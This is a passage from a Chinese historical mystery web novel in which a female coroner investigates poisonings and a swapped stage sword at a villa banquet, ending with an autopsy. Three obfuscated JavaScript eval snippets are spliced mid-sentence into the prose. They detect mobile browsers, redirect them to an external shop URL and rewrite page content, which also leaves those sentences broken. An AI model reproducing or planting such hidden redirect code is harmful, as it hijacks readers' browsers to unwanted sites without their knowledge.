天边的晚霞染红了整片天空。 众人入座,等着看那金溪班的歌舞戏。 这个金溪班是从苏杭之地来的,但在京城极有名气。 三十年前,戏班的台柱子苏明娘就凭借着一出戏在京城打出招牌,自那以后,即使是王公贵族要请得他们来唱一出戏也是难之又难。 这个裴籍确实有些手段,前有鲁班后人做宾客,后能请得这个金溪班来为自己唱几日的戏。 闻蝉跟着宝应坐着中排的位置,距离水上的戏台不远不近,既能看得清楚又能将一切收入眼底。 宝应很是兴奋,拉着闻蝉说个不停,闻蝉瞟了一眼四周。 “怎么不见那个王子仪?” 宝应脸上的笑容淡去,厌烦地皱了皱鼻子。 “说他干嘛?他好像是病了,一直没出门。” “这么讨厌他?” “对啊,我觉得你说的没错,这个人确实不像个好东西。只是……”宝应撅着嘴,扯着衣角,“我娘看中他了,我也没有法子。” 闻蝉安抚一笑。 “鲁王妃何等见识?如今不过是一时被他人言语蒙蔽,等她到了京城,一见此人定然就能知晓其品性,你不必担忧。更何况,你表哥也不喜欢他。” “哼!你可不知道,我表哥很喜欢他……” “谁说的?”郑观澜忽然出现在二人身侧,挨着闻蝉坐了下来。 宝应瞪圆了眼:“你一直说他好!” “那是客套话。”郑观澜现在只想把王子仪切成臊子。 闻蝉撞了撞宝应的肩膀:“你瞧,是吧?” 宝应是个向来不把事情往深处想的人,只觉得自己表哥转换了态度是一件令她满意的事情,当即高兴得直拍手。 郑观澜见自己表妹傻乐,身旁还坐了个笑眯眯的闻蝉,内心十分复杂。 这时候,颜子光也跟着坐了过来。 他大喇喇在郑观澜身边坐下。 “郑六,你不去前面,坐这儿干嘛?” “清净。” “你图清净就别来啊!”颜子光小声嘀咕,“自己答应的。” “暧!”他又歪着头问闻蝉,“闻仵作,你那案子查得怎么样了?” 闻蝉斜睨一眼。 只见他眼里是一片清澈,仿佛之前那个指责自己的人不是他似的。 得了,早就听说颜家老九脑子不好使,她不和傻子计较。 “线索很少。” “那人是咋死啊?” “还不清楚,应该是用了什么验不出来的毒吧。” “我听说你们仵作可以把人的胃剖开来验死者所中之毒?” 闻蝉对此是有几分犹豫的。 “不到万不得已,没必要对尸体再动手。” 颜子光挑眉:“我还以为你们喜欢这样呢。” 这话便不太动听了。 坐在二人之间的郑观澜向后仰了仰身子,让开了些,以免颜子光等会儿听不清闻蝉说什么。 “颜郎君若好奇,下次剖尸可以来看。”闻蝉十分热情,语气激昂,“虽然尸体剖开之后黄的红的绿的酱的,看上去有些许恶心,但是想必颜郎君一个男子是不会怕尸体的。” 颜子光感觉到胃抽抽了两下。 他还真怕。 “黄的是什么?”郑观澜轻飘飘问了一句,似乎只是随口问出的一般。 “人的油脂。” “你问什么问!”颜子光拍了一下郑观澜。 这人故意的吧! 闻蝉轻掩住嘴:“颜郎君害怕呀?那我们不说了。” 她说完就坐得端端正正,双眼直视前方,一副不再开口的模样。 这让颜子光十分憋屈,气呼呼拍了一下腿。 郑观澜眼底带着笑意。 活该,连她都敢惹。 实际上,闻蝉做出这副模样倒也不是全为了逗颜子光。 裴籍身边,以幽梦为首的几个舞女正缠着他说些什么,说了一会儿,裴籍点点头,几名舞女就高兴得花枝乱颤,行了一个大礼就离去了。 “闻娘子在瞧什么?”鲁大师忽然出现在几人身边。 正想着事的闻蝉吓了一跳。 “您不去前头坐着?” 鲁大师伸出包着纱布的左手,作了个揖。 “来谢过闻娘子的药,这药很有用,一涂上去就止了血。” “不必客气。” “闻娘子方才是在看幽梦她们吗?”鲁大师欣慰一笑,“听管事说,庄主已经答应她们为她们脱籍。” “是吗?那倒是可喜可贺。” 鲁大师面露黯然:“只是可惜……”他摇摇头,“若点蕊她们还在,这名额应当落在她们头上的。” 这个她们指的当然是那六名死者。 鲁大师幽幽走远。 “对了,闻姐姐,你之前让我打听那个话本的事情我已经打听到了。” 宝应的话让闻蝉一下回过神。 “那话本是什么来头?” “那是个志怪话本,写的都是神神鬼鬼的故事,叫什么《伥鬼录》。是作者借一个伥鬼之口写的山庄中发生的事情。这头一个故事和那些人被杀的情况一模一样。”她摸出一个小册子,“裴三娘给我的。” 册子很薄,闻蝉翻了翻。 故事的内容极其简单,可也极其诡异,上面写的无名山庄和龙门山庄布局和外观都一模一样,所发生的舞女被杀一事也和这案子一模一样。只是没有结局。 “裴娘子说,这话本分成几卷,这只是第一卷。” “剩下的呢?” 宝应摇头:“裴娘子也是从她伯父那里拿来的,只看见这一本。” 裴娘子的伯父不就是裴籍吗?! 一只手横过来,拿走了书。 “你干嘛?”闻蝉瞪过去。 郑观澜把书揣在怀里。 “这件事我来办。” 闻蝉也不好真的伸手到他怀里去抢。 “随你。” 宝应看着充满了火药味的二人,有些懵。 “表哥和闻姐姐之前就认识吗?” “不认识!” “不认识!” 二人齐齐否认,语气冷漠而坚决。 幸好,此时铜锣一响,戏要开场了! “开始了开始了!”宝应立即抛下这疑问,紧紧握住闻蝉的手,“那个苏乐生得特别特别好看。” 四周的灯烛被熄灭,亭子上的花灯依次被点亮,让人不得不把目光汇聚在那座亭子上。 两声琵琶扫弦的滚珠声后,乐声悠悠响起。 几只蓝绿色的鸟儿自远处飞来,绕着亭子盘旋,如同孔雀一般,还真有些孔雀东南飞的感觉。 宝应拍掌。 “是木鸢!” 闻蝉眯了眯眼。 还真是。 想必这又是那个鲁大师的手笔。 “这个鲁大师还真有两把刷子。” “《墨子·鲁问》有云,‘公输子削竹木以为鹊,成而飞之,三日不下,公输子自以为至巧。’。只是不知这木鸢能不能如同传说中非三日不下。”郑观澜这话颇有些阴阳怪气。 颜子光接话:“你也太事儿了吧?能造出会飞的木鸢就已经很厉害了,别说飞三日,就是能飞一刻钟就已是世所罕见。” 郑观澜脸黑了黑。 砰! 一只木鸢忽然掉落下来,摔在地上。 “鲁铭!”正得意的裴籍面色一变,一拍桌子厉声呼喝。 鲁大师一脸无措,跪了下去。 “郎君息怒!” 仔细一看,才发现,那木鸢并非是自己掉落下去的,而是被撞落的。 而撞落木鸢的也是木鸢,只那木鸢和原本的木鸢外表截然不同,涂着鲜艳的红色,如同朱雀一般。 闻蝉猛地站起身。 墨?! 这是墨家的木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779657|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸢! 而前方的鲁大师也反应了过来,立即让人抬出一个黑漆大箱子,放出数只木鸢。 两种颜色的木鸢在空中打斗着,蓝绿色木鸢终究数量更多,三下五除二就将那朱色木鸢撞落在地。 现场瞬间一静。 闻蝉坐了回去,对着郑观澜问道:“木鸢的主人会在附近吗?” 对方书读得多,应该对机关术也有了解。 “书上从未记载过木鸢如何制造,但是看鲁铭的样子,主人和木鸢可以距离很远。”郑观澜眼神不住地往人群中扫视。 人人都只是伸长脖子看着那木鸢,叽叽喳喳的,没有一个人有什么异常。 “滇王金镂匣中藏,断魂销命片刻亡。二女为救一夫忙,仙禽引路归家去。” 不知从何处响起一声唱,现场终于安静了下来。 乐声再度奏起。 一个高大英武的男子穿着银铠戏装,腰佩长剑踏步而来。 “是苏乐!”宝应低呼。 闻蝉挑眉。 也不怪这些小娘子都那么迷这个苏乐。 身长足足有六尺五,比她身边的个子不小的郑观澜都要高上一长截,而且身板长得那叫一个好,虎背蜂腰,算得上体貌丰伟。 就是闻蝉也没见过比这身板还好的男子了。 她抱着十分正经的念头想看看这个苏乐的身体,这种人的肌肉线条肯定十分分明且标准,不需要剖开都能看清楚形状。 耳边传来冷笑一声。 闻蝉不用看就知道是郑观澜。 莫名其妙的。 她才不搭理,认真看着戏。 那苏乐确实得了苏明娘的真传,唱得好跳得也好。 “将军,妾……”戏台上,“郡主”抢下毒酒一口服下,唇边留下一道鲜血,倒地不起。 “将军”哀痛唱词:“怪我自持功高,估错人心,郡主呀!”他将“已经死去的郡主”抱起放在马上。 闻蝉按了按太阳穴。 “这唱的什么啊……” 好无聊。 宝应凑过来和她讲道:“将军帮助云南王平定叛乱,云南王就把自己的女儿郡主许配给了他。之后他收到原配书信回了家。而后,云南王的手下,就是那个穿黑色铠甲的,他为了谋反假传王命召来将军,并且让郡主用剧毒孔雀胆毒死将军。郡主不忍,又不敢违抗父命,就自己服下孔雀胆自杀。这会儿将军带着郡主尸体逃命,逃命路上,将军的原配会过来救他们。在围困之中,原配受伤,郡主化作孔雀为他们指路,而最后,受伤的原配为不拖累将军自刎而死,将军跟着孔雀指引逃出生天。” 这个剧情…… 闻蝉不知从何骂起。 “好看吗?” 宝应端起茶水:“人好看呐。你瞅那个黑铠将军是不是也很俊?” 黑铠将军戏份已经完毕,正站在昏暗处,闻蝉眯着眼睛才看得清。 “确实,我觉得他比苏乐俊。” “啊?”宝应有些不赞同,“有吗?” “苏乐双眉燥乱,凸骨尖鼻,眼神不清正,一看就是个暴烈之人。那个黑铠将军,五官舒展,眼神清正,一看就是心胸开阔温柔豁达之人。” “咦?别说啊,还真有点!”宝应眼睛亮闪闪的,“闻姐姐,你懂的真多。” “见多了而已。”闻蝉持续给她洗脑,“像那个王子仪看着是好看,但是眼尾炸花,一看就是个好色之徒,而且翻脸不认人。” 郑观澜不由自主摸了摸自己的眼尾,又很快放下。 不对!他怎么也把这胡诌的话给听进去了! 宝应恨不得用笔记下:“等我娘来了我就用这话敷衍她!” 闻蝉压低声音:“面色淡白耳朵小……” 郑观澜耳朵立了起来。 “这种男人不行。” 郑观澜身体一晃。 这个女人果然会教坏他的表妹! 他摸了摸自己的耳朵。 8. 假戏成真 二人是不关心那戏的剧情,可是台上依旧演得火热,正好演到结尾的地方。 将军的原配举剑自刎,血迹飞溅。 四周烛光也跟着黯淡下来。 忽然一声鸟鸣,亭子上出现一只巨大的蓝绿色木鸢,木鸢尾部黏着孔雀尾羽,乍一看还真像是孔雀一般。 “这个鲁大师……也太厉害了吧?”宝应看得呆住。 “孔雀”远飞,将军逃出生天,一出戏终于落幕。 宾客们齐齐叫好。 烛火这才恢复正常。 戏班的班主上台,领着苏乐向台下拱手行礼。 “蔻君?”班主面色微变,朝着躺在马边的人喊了一声,“演完了,该起来了。” 那人却一动不动。 不仅是她,扮演郡主的女子也趴在马上一动不动。 苏乐转过头,拉了拉趴在马上的另外人。 “豆娘?豆娘?” 马上的人一歪,摔倒在地。 苏乐向后一退,惊叫一声。 正谈笑风生的裴籍坐直身子:“怎么了这是?” 台上的人一时都愣住了,其中一个清秀年轻人想要上前查看,却被那穿着黑铠的人拦住。 他上前伸出手,放在躺在地上的二人鼻下一探。 “死……死了?!” 闻蝉是第一时间冲上台的,伸手探过人迎脉后正式宣告了二人的死亡。 “林少班主,这二人是什么人?” 应声的是个穿着婢女服饰的少年。 林斯拍着自己父亲的后背,说道:“演郡主的是蔻君,演夫人的是徐豆娘,她们都是戏班长大的……” 他面色很白,明显是吓得不轻。 “闻仵作,她们怎么会……” 闻蝉蹲下身去验。 徐豆娘本是趴在马上的,方才从马上落下,此时躺在地上,唇边的血迹被蹭得模糊,唇色发青。 闻蝉伸出手:“林斯,把她方才喝的酒拿来。” 林斯还算镇定,动作飞快递上还摔在地上的酒杯。 闻蝉接过酒杯一闻。 “七窍流血唇色发青明显是中毒,这毒就在酒中。” 林斯呆呆出声:“不会是孔雀胆吧?” “确实是孔雀胆。”闻蝉放下酒杯又去验另外一具尸体。 林斯大着胆子凑过来。 “这剑应当是没有开刃的,不会是自刎而死吧?” 蔻君的尸体是靠在亭子边上的,脖子上的血还在流着,把衣襟染成一片血红。 “剑呢?” 林斯这才想起去捡起那剑。 闻蝉接过剑一看,面色一沉。 “这剑是开过刃的。死者是颈部被割断导致血流不止,失血过多而亡。你们方才没有发现异常吗?” 她转过头,想要问苏乐。 只见人高马大的苏乐正缩在一名中年美妇身后抹眼泪,一边还叫着娘,看得人直皱眉。 那中年美妇应当就是传说中的苏明娘。 还是那穿着黑铠的人上前道:“按照原本的安排,演到毒死和自刎这样的戏时,我们会用红色的水来装作血迹,她们方才的样子并不算异常。” 闻蝉面色稍缓:“魏有风是吧?你方才也离得近,可有发现其他异常?” 魏有风摇头:“我还以为是她们演得太逼真。而且当时为了把客人们注意力吸引到亭子上,烛火很是昏暗,我们也没看太清。” 他望向苏乐:“师兄距离最近,等他缓过气问问他吧。” 话音刚落,那苏明娘竟然阴阳怪气地说道:“有些人那么喜欢挑先,还要我们说什么?” 不知她哪里来的气? 魏有风还是好脾气说道:“苏姨您误会了,方才开场前,我是看着客人们都恍惚着,才添了那一句唱词。” 苏明娘眼神一横:“就你知道为戏班考虑,可显得我这人小气了。” 魏有风张了张嘴,或许又觉得多说无益,就没有再说。 闻蝉可不惯着她。 “是大理寺办案问话,让你回话,没让你说嘴,喜欢扯闲天可以等几日后下了山去监牢里和郎狱丞慢慢说。” 她黑下脸的模样格外威严,苏明娘也真不敢再开口,只拍着自己儿子的脊背。 “苏乐,你方才可有发现什么异常?” 苏乐哭得一抽一抽的。 “没有,和师弟说得一样,我也以为只是她们演得太逼真。” 裴籍被搀扶着走上台:“闻仵作?怎么样?” 他面色极不好看。 自己办的宴会一而再在台上出人命案,这多不吉利啊! “蔻君自己用开刃的剑杀害了自己,豆娘服下真的毒药而死。” 闻蝉看向戏班的人。 “这场假戏成了真。” 尸体被抬到了一个小房间里。 房间点着橙黄色的烛火。 啪!啪! 屋内回荡着奇特的声响。 闻蝉双手用力拍打着女尸的腹部。 郑观澜一进门就看见这个场景。 “你这是……在做什么?” 闻蝉停下手,没有回答,反而问道:“你过来干嘛?不嫌脏?” 郑观澜把手里的道具剑往地上一扔。 “这剑和剑柄不匹配,被人换过。” 闻蝉“哦”了一声。 郑观澜问道:“可能是戏班的人下的手,这个戏班关系不太好吧?” “能好吗?”闻蝉撇了撇嘴角,“苏明娘人脉广又是戏班的招牌,带着苏乐在戏班横行霸道多年,不知道的还以为他们母子才是戏班主人。平日里,连班主都不被他们放在眼里。” 郑观澜猛然逼近她,一双眼直直盯着她的眼睛。 “闻仵作,你知道得可真清楚啊。” 戏班的房间内,每个人神态各异。 班主坐在一边,低头沉默,林斯站在他的身侧抚着他的后背,小声说着什么。 苏乐坐在正中间还是哭得不能自持,所有人都离得他远远的,只有苏明娘在低声安慰他,像在哄几岁孩子似的。 魏有风站在门口,似一个木桩,其余人都紧紧站聚在他身边,不敢说话。 过来许久,门缓缓从外面被推开。 闻蝉走了进来,郑观澜紧随其后。 “闻仵作!”林斯几步迎上前去,“可有什么结果了?” “方才我已经检查过了,验尸结果和之前无二,只是……徐豆娘怀孕了。” 屋内瞬间一静,人人面面相觑,却没有太过意外。 林斯呼吸一紧:“当真?” “四个月左右的身孕。死因和之前验过的一致,蔻君的剑是被人调换了。” 一个接一个的消息让戏班陷入了沉寂。 “肯定是王泰干的!”苏明娘指向魏有风身边一个小个头年轻人,“行头都是他管着呢!” 王泰慌了,又是摇头又是摆手,浑身像是不听使唤似的。 “我没有!我和蔻君无怨无仇害她做什么!”他说着说着竟然红了眼睛,“要不是少班主把我捡回来,我早就饿死街头了,我怎么会去害戏班的人了。你们欺负人……老是欺负人……” 一直沉默的魏有风此时站了出来。 “苏姨,我知道您是心急蔻君豆娘之死才如此慌神,可这剑被调换不一定是王泰所为。平日里,上台要用的东西都是随意放着,并无人看管,来来往往的人都有嫌疑。”他说话慢条斯理的,让人不由心平气和起来,“不如我们先理一理,到底有谁接触过这剑?我记得我们昨日晚上才排演过一次,那一次蔻君豆娘都没有出意外,也就是说,凶手是在昨日排演后下的手?” 他转向闻蝉,微微弯腰:“闻仵作,不知在下的推论可是对的?” 闻蝉点头:“确实,昨日排演后到今日开演前才是凶手下手的时机。” 苏明娘翻了个白眼:“那也没人碰那破剑,昨儿演完都回去睡了,今早一起也是忙忙碌碌上妆开嗓。除了每日收拾行头的人,还能有谁?” 矛头再次对准了王泰。 王泰急得满头是汗,却不知该如何辩解。 还是魏有风安抚道:“王泰,你再想想,昨日你收拾完行头后可有什么人瞧见了你?” 王泰拍腿。 “我想起来了,昨日收拾完行头后,正好发现那剑上的宝石掉了一个,鲁大师路过,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779658|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他帮我把宝石粘了回去,弄完后,我们一起离开的。今日我就更没有碰那些行头了!” “这一点,我会找鲁大师对质。那酒呢?今日有谁碰过酒?” 众人你看看我我看看你。 林斯说道:“这酒经手的人太多了……我记得是后头的谁把酒端给我,我借着上台的功夫送上去的。” 林斯个小清秀,这次演的是郡主的婢女。 王泰缓缓举起手:“酒是小的倒了送上台,剩下的酒壶还在呢,绝对没有毒!”他指向圆桌上的一个白瓷四方形的酒壶。 闻蝉逼近几步,和他靠得极近。 “你确定?” 王泰鼓着眼睛,用力点点头。 “确定!” 出于谨慎,闻蝉还是拿起酒壶闻了闻。 确实没有孔雀胆的气味。 “是无毒。” “我知道是谁了!”苏明娘忽然大声道,“是魏有风!” 她明亮的双眸微微眯起,射出两道精光。 魏有风愣了一下:“啊?” “魏有风向来是来得最早的一个,剑肯定是他今早来趁着没人的时候调换的。还有那酒里的毒药!那酒让林斯端上去后是给了他,他再给的蔻君,一定是他趁着那个时机下的毒!” “闭嘴!”林斯厉声呵斥,“谁让你开口了!” 苏明娘一辈子顺风顺水,何时被一个小辈这样呵斥过?即使对方是班主的孩子。 “你敢骂我?不是我,你们这个破戏班……” “那你就滚蛋。”林斯冷下脸,清亮的声音变得沉沉的,“没了你,我们这个破戏班照样吃饭。” “少班主说得没错!”一个杏眼少女跳出来附和,“你们母子俩除了在戏班作威作福还能干什么?好好的戏班被你们搅得一团乱,不得安生!” 她这一开口,其余人也七嘴八舌说了起来,俱是对母子俩的埋怨。 “哼~我看啊,你污蔑魏师兄怕是因为真正的凶手是你儿子吧!”杏眼少女的一句话让现场安静了一瞬。 紧接着,众人连连点头。 “对啊!凶手肯定是苏乐。” 苏乐母子被堵得面红耳赤,苏乐当即一挥手把桌子掀翻。 “都给我闭嘴!” 戏班的人被吓得直往魏有风身后缩。 一片狼藉中。 闻蝉这才开口:“大理寺办案呢,掀桌子是给谁看?” “你他娘的就是个仵作,管得了我?”苏乐冲上前,作势举起拳头。 闻蝉直接一脚踢向他的要害。 苏乐个子高大却不灵活,一下被踢中,摔趴在地。 “儿子!”苏明娘扑上去,抱住他,“你没事吧,儿子?” 她双目喷火,瞪着闻蝉:“你敢打我儿子?” 闻蝉眉毛微微挑起。 “仵作也是大理寺的吏员,妄图殴打衙门的官吏,扰乱办案,是觉得我们大理寺的板子是豆腐做的?八十板子打不死人?” 这话说得太吓人,苏明娘立即不敢再开口,咬牙去扶苏乐,一下老实了不少。 闻蝉对着杏眼少女问道:“小娘子,你方才何出此言呢?” 杏眼少女从魏有风身后探出头。 “我说这话是有依据的!苏乐经常调戏女子,有好几次还当着我们面儿换衣裳,脱得赤条条的,我们都忍着,可蔻君不是软和性子,为此和他吵过动过手,俩人闹得可厉害了。还有豆娘……豆娘和他有私情,但是苏明娘瞧不上豆娘,他们俩才没在一起的。豆娘的孩子肯定也是他的!” “苏乐。”闻蝉垂眼看着还蜷在地上的他,“你有什么解释?” 苏乐抬起头,嘴唇因为疼痛而发白:“我没有……我没有杀人……” “你有证据吗!”苏明娘见自己儿子如此,心疼坏了,忍不住大喊,“碰过剑和毒药的人一抓一大把,你凭什么就说我儿子是凶手!” 面对近乎疯狂的苏明娘,闻蝉不仅没有像之前一样呵斥,反而笑了笑。 “别着急嘛,我也没说你们是凶手。”她摆摆手,“好了,话问完了,我得先回去休息了。” 林斯主动道:“我送你。” “有劳。” 9. 剖尸定时 一出门,刚走几步,闻蝉就停了下来。 “郑郎君,你也要送我回去吗?” 郑观澜心头一跳。 直觉不好。 林斯好奇地看着二人。 “我还有事。”郑观澜是真怕闻蝉当着旁人的面说什么“喜欢我”这样的话,立即脚步一转,没了身影。 “他这是……”林斯伸长了脖子张望。 “别管他了。”闻蝉按住他的手背,“我有话要和你说。” 林斯正色道:“和蔻君豆娘的死有关?” “没错。” “苏乐没有那个胆子。”林斯一脸不屑,“你今日见了他的做派,也看的出来吧?他就是个外强中干的废物,除去天生好样貌和好嗓子,一无是处,像个没断奶的孩子。倒是苏明娘极有可能。蔻君多次给了他们没脸,她怀恨在心。至于豆娘……你知道的,苏乐的亲生父亲是柳家一位郎君,虽然他没有被认回,可他父亲心里总是挂着他,在婚事上安排的也是一位小官家的女儿。怀孕的豆娘,是她儿子娶妻的阻碍。” “没有证据,得找到证据才是。你今晚就悄悄去搜搜她的房间,看看有没有什么线索。” “行!”林斯有些着急,“还有什么事没?” “除了她,还有一个人。” “苏乐?” “不,是王泰。” 另外一边,被支走的郑观澜也终于反应过来。 自己这是又被耍了?! 他气恼地跺了跺脚。 “郑……郑郎君?!”管事一脸震惊。 他出现幻觉了吧?那个稳重的郑六郎是在学小孩子跺脚吗? 郑观澜清了清嗓子,立即站好,微微昂起头。 “你们郎君可睡下了?” 管事低头:“还没呢,您找郎君有事吗?” “是有些事要问他。” 管事知道他是自己郎君的贵客,也不多问,立即侧身让开一条路。 “您请。” 裴籍正在屋内,一听说郑观澜来了,起身迎上前。 “六郎!这么晚过来是有何事吗?” 郑观澜余光一瞟。 鲁铭正跪在一边,埋着头,一动不动。 裴籍觉察到他的目光,干笑了一声。 “鲁大师很是自责,说是自己招来了麻烦,害得龙门宴连出命案,今晚过来非说要请罪于我。”他和蔼笑着,“好了,本是他人之过,你何必想那么多?夜深露重的,还不快起来。” 鲁铭站起身,拱手道:“谢庄主不责之恩。” “你先回去休息吧。”裴籍语气有些焦急,明显是想打发他立即走。 “是。”鲁铭一直低着头,朝着二人施了一礼,轻步退下。 屋内只剩下二人,裴籍热情拉着郑观澜坐下,又要让人上茶水。 郑观澜抬手拦住。 “不必麻烦了,我只是有件事要问裴郎君,问完要回去休息。茶,就不喝了。” “是啊是啊,睡前喝茶可不易入眠。”裴籍一点儿也没觉着尴尬,还是笑呵呵的,“六郎要问何事?” 郑观澜说道:“昨日,听宝应说起一本叫做《伥鬼录》的话本,我看了看,觉得十分有趣,只是一卷实在是太短。宝应说,那书是裴娘子从你这里拿的,不知你可还有之后的几卷?我想借来看看。” “那书啊?”裴籍摸了摸下巴,沉吟了许久,“那书我没怎么看,之后的自然也没买。没想到六郎会喜欢那种志怪话本?” 郑观澜直接了当地说道:“不是喜欢。” “不是喜欢?” “那话本第一卷上的故事和舞女被杀一案如出一辙。” 裴籍眼珠子都快掉出来了。 “什么?!竟有此事?” 郑观澜点点头:“所以,闻仵作有些猜想。” 裴籍皱眉:“不是说是墨家后人为了挑衅鲁大师才制造命案的吗?怎么会和话本扯上关系?” “我亦不知。”郑观澜站起身,扔下一句“告辞”就转身离开。 裴籍坐在原处,脸上慢慢升起一个笑容,看上去分外诡异。 管事走进,轻声道:“郎君,时候不早了,要先歇息吗?” 裴籍起身,背着手走到床前,抬起双手,合上眼:“嗯,先歇吧。柳郎中那里可安排好了?” “丹须姑娘去了,柳郎中十分满意。” “丹须?她不是傲气么?今日倒是乖觉。文安郡公那里呢?” 管事上前给他更衣,嘴里答着:“郡公对周夫人十分痴心,想必也不喜欢这些,鄙人就安排了说书人给周夫人逗乐子,见周夫人高兴,郡公更高兴,打赏了不少。还有李郎君那里安排了好几个人伺候,李郎君是很满意的。” “这个李成芳,好色得很,到现在却连个孩子都没有。”裴籍有些不屑,“文安郡公更是有意思,娶了个舞女回去当宝贝。”裴籍按了按自己的肩膀,“你老家来的那个大夫倒是不错,不过推拿了几次,就有了效果。” “能为郎君效力是他的福分。”管事随口问道,“郑郎君怎么晚了,过来做什么?” “问我有没有书。” “书?原就听说郑郎君爱书,没想到竟然真如此痴迷。” 裴籍笑了一声:“他问我有没有一本志怪话本。” 管事很是惊讶,手中动作一顿。 “真是让人意外。” “是啊。” 见裴籍心情似乎很好,管事将衣裳搭好,趁机说道:“鄙人方才送鲁大师回去了,他十分失落,郎君也消消气,别为这事儿怪他了。” “狗奴才。”裴籍坐在床边,脸上却还是笑,“我没怪他。他也算是给我找了些乐子。” 他摆摆手:“下去吧,把烛火留着。” 主子的话让管事听不懂,但见他确实没再怪罪鲁铭,管事也不再多问,弓着腰退了下去。 屋内只剩下裴籍一人,他从枕头下摸出一本书,走到桌旁坐下。 烛火微微晃动,映在书皮上,上写着三个大字——伥鬼录! 刀尖从肩峰切入,沿着锁骨向左划出。 笔直的刀痕在闻蝉的刀下出现。 她抬了抬手,微微侧过头。 “郑观澜,你有事?” 郑观澜这才从门外推门而进。 闻蝉此时把自己捂得密不透风,只露出一双亮灿灿的星眸,不满地看着他。 “我才从裴籍那里回来。你在做什么?” 闻蝉语气好了些。 “线索太少,我决定剖腹验毒。你出去等着吧。” 这话本是体贴。 可被嘲讽惯了的郑观澜以为又是挑衅。 “我不怕这些。” “尸体都是带有尸毒的。” 这话里的关切明显了不少,郑观澜打开窗户通风:“那你还把窗户关上?” “等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779659|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会儿我需要闻味道。” 闻蝉也不再管他,转头继续手下的事情。 看着她的背影独独在烛火下,郑观澜不由道:“你为何要做仵作?” 闻蝉低低笑了一声。 “郑郎君,我爹就是仵作呀,除非有特赦,我只能做仵作。况且,子承父业有什么奇怪的吗?” “按规矩说,确实如此,可你是女子,有的选。” “选什么?嫁人?”闻蝉扭过头,“有做仵作好吗?” 郑观澜一时回答不出。 凭借对方的容貌和手段,完全有本事找个有权有势的给她脱籍。 可是……一段记忆浮现在脑海中。 他摇了摇头。 “你说的对。” 闻蝉有些意外,心中对他的不喜少了几分。 算个不傻的。 “你去裴籍那里得到了什么?” 二人一个站在窗前,一个埋头验尸,竟然是认识以来前所未有的和谐场面。 “我进去的时候,鲁铭正跪在里面请罪。” “哦?他不是裴籍的座上宾吗?” “鲁铭只是个工匠。” “士农工商……即使是鲁班后人也确实只是个工匠,这是你们的看法?” 郑观澜没来由的地几分紧张。 “是。” “那看来,裴籍对他的礼遇不过只是面子功夫,鲁铭的地位不高。还有呢?” “他装得还是很客气。等鲁铭离开后,我问他借《伥鬼录》,他说他没看过那书,也没有买下后面几卷。”郑观澜强调,“他。在撒谎。” “如此肯定?” “他回答的时候小动作不断,明显是在撒谎。他不仅看过《伥鬼录》,还拥有接下来的几卷。” “这就有意思了。一般情况下,这按照话本杀人都是有其目的。要么是为了扰乱视线,要么是有什么执念。不管为何,凶手都会宣扬话本内容。可那《伥鬼录》只有几人看过,就连管事都没有听说过。而且,裴籍为何要隐瞒?” “确实是个很大的疑点。” 闻蝉停下手。 “软筋散,酒酿圆子。” “什么?” 闻蝉说道:“死者生前被下了大量软筋散,所以即使死亡很久也没有出现尸僵。死亡时间是在吃完酒酿小圆子后的三个时辰。” 软筋散这一点郑观澜听懂了。 “死亡时间和吃酒酿圆子有什么联系?” “人死后,就不会再继续消化食物。此时,胃内食物被消化的程度就能反映出死者吃下食物到死亡的时间长短。死者胃部只残余少量酒酿圆子,其余都已排出。这说明她是在吃完酒酿圆子两到三个时辰后死亡的。酒酿圆子不易克化,所以我推测应该是三个时辰左右。” 闻蝉将尸体缝合起来。 “案发前一晚,山庄的宵夜就是酒酿圆子。” “嗯……等会儿可以去问问那些舞女。” “死因呢?” “是夹竹桃,这毒银针验不出来。” “你……都闻出来了?” “嗅觉比较灵敏。”闻蝉抬起头,扭了扭酸痛的脖子,“不然可端不稳这碗饭。” 郑观澜默默把那句“比狗还厉害”吞了下去。 “对了,我在幽梦的体内没有找到糕点和茶水。”闻蝉转过身,取下面巾,露出有些潮红的脸,“那鲁大师和小厮看见的幽梦是鬼吗?” 11. 率兽食人 对方突如其来的冷漠比初见的冲突让人更加心慌。 郑观澜追了上去。 可是,闻蝉的反应很是冷淡,甚至连之前的冷嘲热讽都没有,只专心走着路,一言不发。 “咳咳。”郑观澜说道,“如你所言,戏叶见过凶手,那我们是不是应该先去审问她。” “问了她也不会再说。” “还有沉香,用沉香的人极少。”郑观澜努力思索着,“我记得山庄来客中,只有裴籍,柳中庭,文安郡公和李成芳有。我可以去他们那里看看。” “不必了。”闻蝉微微侧过头,笑得客气疏离,“这几位都是大人物,没有必要杀点蕊她们。” 郑观澜被堵得脸一红。 